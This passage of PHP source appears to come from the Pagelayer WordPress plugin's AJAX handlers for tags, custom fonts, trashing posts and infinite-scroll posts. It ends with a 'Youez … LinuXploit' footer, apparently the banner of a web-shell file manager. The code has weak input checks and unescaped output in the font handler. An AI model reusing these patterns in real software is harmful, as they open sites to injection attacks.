	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');	
	
	$ret = [];
	$tag_name = '';
	
	if(!current_user_can('manage_categories')){		
		$ret['error'] = __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	if(empty($_POST['postid']) || !is_numeric($_POST['postid']) ){
		pagelayer_json_output($ret);
	}
	
	$post = (int) $_POST['postid'];
	$post = get_post($post);
	
	if(empty($post) || is_wp_error($post)){
		$ret['error'] = __pl('invalid_post_id');
		pagelayer_json_output($ret);
	}
	
	$tag_name = pagelayer_post_type_tag($post->post_type);
	
	if(!empty($_POST['new_tag'])){
		$ret['tag_id'] = wp_insert_term($_POST['new_tag'], $tag_name);
		$ret['tag_id'] = $ret['tag_id']['term_id'];
	}
	
	$ret += pagelayer_post_tags($post);
	
	pagelayer_json_output($ret);
	
}

add_action('wp_ajax_pagelayer_custom_font', 'pagelayer_custom_font');
function pagelayer_custom_font(){
		
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$ret = [];
	
	if(empty($_POST['font_name'])){
		pagelayer_json_output($ret);
	}
	
	$name = preg_replace('/_plf$/is', '', pagelayer_optREQ('font_name'));	
	//echo $name;
	
	$args = [
		'post_type' => PAGELAYER_FONT_POST_TYPE,
		'status' => 'publish',
		'posts_per_page' => 1,
		'name' => $name
	];
	
	//var_dump($pagelayer->fonts);
	
	$query = get_posts($args);	
	//var_dump($query);
	
	if(empty($query)){
		pagelayer_json_output($ret);
	}
	
	$post = $query[0];
	$meta_box_value = get_post_meta( $post->ID, 'pagelayer_font_link', true);
	if(empty($meta_box_value)){
		pagelayer_json_output($ret);
	}
		
	$ret['style']= '<style id="'.$name.'_plf" >@font-face { font-family: "'.$name.'_plf"'.'; src: url("'.$meta_box_value.'"); font-weight: 100 200 300 400 500 600 700 800 900;}</style>';
	
	pagelayer_json_output($ret);
	
}

add_action('wp_ajax_pagelayer_trash_post', 'pagelayer_trash_post');
function pagelayer_trash_post(){
		
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$ret = [];
	
	if(empty($_POST['postid']) && !is_numeric($_POST['postid'])){
		$ret = ['error' => __pl('invalid_post_id')];
		pagelayer_json_output($ret);
	}

	if(!current_user_can( 'delete_post', $_POST['postid'] )){
		$ret = ['error' => __pl('no_permission')];
		pagelayer_json_output($ret);
	}

	$ret['url'] = admin_url('/edit.php?post_type=') .get_post_type($_POST['postid']);
	
	wp_trash_post($_POST['postid']);	
	
	pagelayer_json_output($ret);
	
}

add_action('wp_ajax_pagelayer_infinite_posts', 'pagelayer_infinite_posts');
add_action('wp_ajax_nopriv_pagelayer_infinite_posts', 'pagelayer_infinite_posts');
function pagelayer_infinite_posts(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_global', 'pagelayer_nonce');
	
	pagelayer_load_shortcodes();
	
	$tag = 'pl_posts';
	
	if(isset($_REQUEST['data']['tag']) && $_REQUEST['data']['tag'] == 'pl_archive_posts' ){
		$tag = 'pl_archive_posts';
	}
	
	$content = get_comment_delimited_block_content( 'pagelayer/'.$tag, $_REQUEST['data']['atts'] , '');
	$wp['posts'] = pagelayer_the_content($content);
	pagelayer_json_output( $wp );
}

Youez - 2016 - github.com/yon3zu
LinuXploit